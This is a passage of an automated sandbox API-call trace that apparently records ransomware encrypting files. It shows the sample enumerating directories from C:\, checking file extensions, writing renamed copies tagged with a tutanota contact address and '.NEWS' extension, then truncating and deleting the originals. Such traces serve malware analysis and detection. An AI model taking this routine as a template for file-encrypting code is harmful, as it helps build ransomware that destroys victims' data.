lpOverlapped=0x0) returned 1 [0188.711] SetEndOfFile (hFile=0x574) returned 1 [0188.711] CloseHandle (hObject=0x574) returned 1 [0188.711] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0188.711] SetEndOfFile (hFile=0x518) returned 1 [0188.728] CloseHandle (hObject=0x518) returned 1 [0188.728] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0188.729] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152694.wmf")) returned 1 [0188.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF") returned 68 [0188.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF") returned 68 [0188.730] lstrlenW (lpString=".doc") returned 4 [0188.730] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.730] lstrlenW (lpString=".docx") returned 5 [0188.730] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0188.730] lstrlenW (lpString=".pdf") returned 4 [0188.730] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.730] lstrlenW (lpString=".xls") returned 4 [0188.730] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.730] lstrlenW (lpString=".xlsx") returned 5 [0188.730] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0188.730] lstrlenW (lpString=".ppt") returned 4 [0188.731] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF") returned 68 [0188.731] lstrlenW (lpString=".zip") returned 4 [0188.731] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.731] lstrlenW (lpString=".rar") returned 4 [0188.731] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.731] lstrlenW (lpString=".bz2") returned 4 [0188.731] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.731] lstrlenW (lpString=".7z") returned 3 [0188.731] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF") returned 68 [0188.731] lstrlenW (lpString=".dbf") returned 4 [0188.731] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF") returned 68 [0188.731] lstrlenW (lpString=".1cd") returned 4 [0188.731] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF") returned 68 [0188.731] lstrlenW (lpString=".jpg") returned 4 [0188.731] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF") returned 68 [0188.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF") returned 68 [0188.731] lstrlenW (lpString=".doc") returned 4 [0188.731] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.731] lstrlenW (lpString=".docx") returned 5 [0188.731] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0188.731] lstrlenW (lpString=".pdf") returned 4 [0188.731] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.732] lstrlenW (lpString=".xls") returned 4 [0188.732] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.732] lstrlenW (lpString=".xlsx") returned 5 [0188.732] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0188.732] lstrlenW (lpString=".ppt") returned 4 [0188.732] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF") returned 68 [0188.732] lstrlenW (lpString=".zip") returned 4 [0188.732] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.732] lstrlenW (lpString=".rar") returned 4 [0188.732] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.732] lstrlenW (lpString=".bz2") returned 4 [0188.732] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.732] lstrlenW (lpString=".7z") returned 3 [0188.732] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF") returned 68 [0188.732] lstrlenW (lpString=".dbf") returned 4 [0188.732] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF") returned 68 [0188.732] lstrlenW (lpString=".1cd") returned 4 [0188.732] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF") returned 68 [0188.732] lstrlenW (lpString=".jpg") returned 4 [0188.732] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.732] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0188.733] lstrlenW (lpString="J0152696.WMF") returned 12 [0188.733] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152696.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0188.734] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=7320) returned 1 [0188.734] CloseHandle (hObject=0x518) returned 1 [0188.734] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152696.wmf")) returned 0x220 [0188.734] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152696.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0188.734] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152696.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0188.735] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0188.735] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0188.735] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152696.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0188.736] GetLastError () returned 0x0 [0188.736] ReadFile (in: hFile=0x518, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x1c98, lpOverlapped=0x0) returned 1 [0188.833] WriteFile (in: hFile=0x574, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0x1ca0, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0x1ca0, lpOverlapped=0x0) returned 1 [0188.835] ReadFile (in: hFile=0x518, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0188.835] WriteFile (in: hFile=0x574, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0xec, lpOverlapped=0x0) returned 1 [0188.835] SetEndOfFile (hFile=0x574) returned 1 [0188.835] CloseHandle (hObject=0x574) returned 1 [0188.835] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0188.835] SetEndOfFile (hFile=0x518) returned 1 [0188.838] CloseHandle (hObject=0x518) returned 1 [0188.839] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0189.188] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152696.wmf")) returned 1 [0189.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF") returned 68 [0189.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF") returned 68 [0189.189] lstrlenW (lpString=".doc") returned 4 [0189.189] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.189] lstrlenW (lpString=".docx") returned 5 [0189.189] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0189.189] lstrlenW (lpString=".pdf") returned 4 [0189.189] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.189] lstrlenW (lpString=".xls") returned 4 [0189.189] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.189] lstrlenW (lpString=".xlsx") returned 5 [0189.189] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0189.189] lstrlenW (lpString=".ppt") returned 4 [0189.189] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF") returned 68 [0189.189] lstrlenW (lpString=".zip") returned 4 [0189.189] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.189] lstrlenW (lpString=".rar") returned 4 [0189.189] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.189] lstrlenW (lpString=".bz2") returned 4 [0189.190] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.190] lstrlenW (lpString=".7z") returned 3 [0189.190] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF") returned 68 [0189.190] lstrlenW (lpString=".dbf") returned 4 [0189.190] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF") returned 68 [0189.190] lstrlenW (lpString=".1cd") returned 4 [0189.190] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF") returned 68 [0189.190] lstrlenW (lpString=".jpg") returned 4 [0189.190] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF") returned 68 [0189.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF") returned 68 [0189.190] lstrlenW (lpString=".doc") returned 4 [0189.190] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.190] lstrlenW (lpString=".docx") returned 5 [0189.190] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0189.190] lstrlenW (lpString=".pdf") returned 4 [0189.190] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.190] lstrlenW (lpString=".xls") returned 4 [0189.190] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.190] lstrlenW (lpString=".xlsx") returned 5 [0189.190] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0189.190] lstrlenW (lpString=".ppt") returned 4 [0189.190] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF") returned 68 [0189.190] lstrlenW (lpString=".zip") returned 4 [0189.190] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.190] lstrlenW (lpString=".rar") returned 4 [0189.190] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.190] lstrlenW (lpString=".bz2") returned 4 [0189.190] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.190] lstrlenW (lpString=".7z") returned 3 [0189.191] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF") returned 68 [0189.191] lstrlenW (lpString=".dbf") returned 4 [0189.191] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF") returned 68 [0189.191] lstrlenW (lpString=".1cd") returned 4 [0189.191] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF") returned 68 [0189.191] lstrlenW (lpString=".jpg") returned 4 [0189.191] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.191] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0189.191] lstrlenW (lpString="J0152708.WMF") returned 12 [0189.191] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152708.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0190.268] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=4908) returned 1 [0190.268] CloseHandle (hObject=0x33c) returned 1 [0190.268] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152708.wmf")) returned 0x220 [0190.387] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152708.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0190.387] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152708.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0190.387] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0190.387] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0190.387] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152708.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0190.389] GetLastError () returned 0x0 [0190.389] ReadFile (in: hFile=0x2c4, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x132c, lpOverlapped=0x0) returned 1 [0190.390] WriteFile (in: hFile=0x2c8, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0x1330, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0x1330, lpOverlapped=0x0) returned 1 [0190.391] ReadFile (in: hFile=0x2c4, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0190.391] WriteFile (in: hFile=0x2c8, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0xec, lpOverlapped=0x0) returned 1 [0190.391] SetEndOfFile (hFile=0x2c8) returned 1 [0190.392] CloseHandle (hObject=0x2c8) returned 1 [0190.392] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0190.392] SetEndOfFile (hFile=0x2c4) returned 1 [0190.395] CloseHandle (hObject=0x2c4) returned 1 [0190.395] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0190.395] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152708.wmf")) returned 1 [0190.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF") returned 68 [0190.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF") returned 68 [0190.397] lstrlenW (lpString=".doc") returned 4 [0190.397] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0190.397] lstrlenW (lpString=".docx") returned 5 [0190.397] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0190.397] lstrlenW (lpString=".pdf") returned 4 [0190.397] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0190.397] lstrlenW (lpString=".xls") returned 4 [0190.397] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0190.397] lstrlenW (lpString=".xlsx") returned 5 [0190.397] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0190.397] lstrlenW (lpString=".ppt") returned 4 [0190.397] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0190.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF") returned 68 [0190.397] lstrlenW (lpString=".zip") returned 4 [0190.397] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0190.397] lstrlenW (lpString=".rar") returned 4 [0190.397] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0190.397] lstrlenW (lpString=".bz2") returned 4 [0190.397] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0190.397] lstrlenW (lpString=".7z") returned 3 [0190.397] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0190.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF") returned 68 [0190.398] lstrlenW (lpString=".dbf") returned 4 [0190.398] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0190.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF") returned 68 [0190.398] lstrlenW (lpString=".1cd") returned 4 [0190.398] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0190.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF") returned 68 [0190.398] lstrlenW (lpString=".jpg") returned 4 [0190.398] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0190.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF") returned 68 [0190.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF") returned 68 [0190.398] lstrlenW (lpString=".doc") returned 4 [0190.398] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0190.398] lstrlenW (lpString=".docx") returned 5 [0190.398] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0190.398] lstrlenW (lpString=".pdf") returned 4 [0190.398] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0190.398] lstrlenW (lpString=".xls") returned 4 [0190.398] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0190.398] lstrlenW (lpString=".xlsx") returned 5 [0190.398] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0190.398] lstrlenW (lpString=".ppt") returned 4 [0190.398] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0190.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF") returned 68 [0190.398] lstrlenW (lpString=".zip") returned 4 [0190.398] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0190.398] lstrlenW (lpString=".rar") returned 4 [0190.398] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0190.398] lstrlenW (lpString=".bz2") returned 4 [0190.398] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0190.398] lstrlenW (lpString=".7z") returned 3 [0190.398] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0190.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF") returned 68 [0190.398] lstrlenW (lpString=".dbf") returned 4 [0190.398] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0190.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF") returned 68 [0190.398] lstrlenW (lpString=".1cd") returned 4 [0190.399] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0190.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152708.WMF") returned 68 [0190.399] lstrlenW (lpString=".jpg") returned 4 [0190.399] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0190.399] lstrlenW (lpString=".id-") returned 4 [0190.399] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x47d108 | out: hHeap=0x420000) returned 1 [0190.399] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4bda58 | out: hHeap=0x420000) returned 1 [0190.399] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3861430 | out: hHeap=0x420000) returned 1 [0190.399] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3871438 | out: hHeap=0x420000) returned 1 [0190.401] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3b52020 | out: hHeap=0x420000) returned 1 [0190.406] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x47d0f0 | out: hHeap=0x420000) returned 1 [0190.406] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x4089048 [0190.406] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4089048, Size=0x20) returned 0x408dc68 [0190.406] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x4089048 [0190.406] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4089048, Size=0x20) returned 0x408df88 [0190.406] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x73d30000 [0190.406] GetProcAddress (hModule=0x73d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x73d46b30 [0190.406] Wow64DisableWow64FsRedirection (in: OldValue=0x2f9ff50 | out: OldValue=0x2f9ff50*=0x1) returned 1 [0190.406] lstrlenW (lpString="kernel32.dll") returned 12 [0190.406] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x408df88 | out: hHeap=0x420000) returned 1 [0190.406] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0190.406] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x408dc68 | out: hHeap=0x420000) returned 1 Thread: id = 43 os_tid = 0xdf4 [0156.906] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x3881440 [0156.906] lstrlenW (lpString="C:") returned 2 [0156.906] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x30dfcf8 | out: lpFindFileData=0x30dfcf8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77110000, dwReserved1=0x0, cFileName="$GetCurrent", cAlternateFileName="$GETCU~1")) returned 0x484458 [0156.907] lstrlenW (lpString="C:\\$GetCurrent") returned 14 [0156.907] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent") returned 1 [0156.907] lstrlenW (lpString="$GetCurrent") returned 11 [0156.907] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="$GetCurrent") returned 1 [0156.907] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x3891448 [0156.907] lstrlenW (lpString="C:\\$GetCurrent") returned 14 [0156.907] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\*", lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x484218 [0156.909] FindNextFileW (in: hFindFile=0x484218, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, 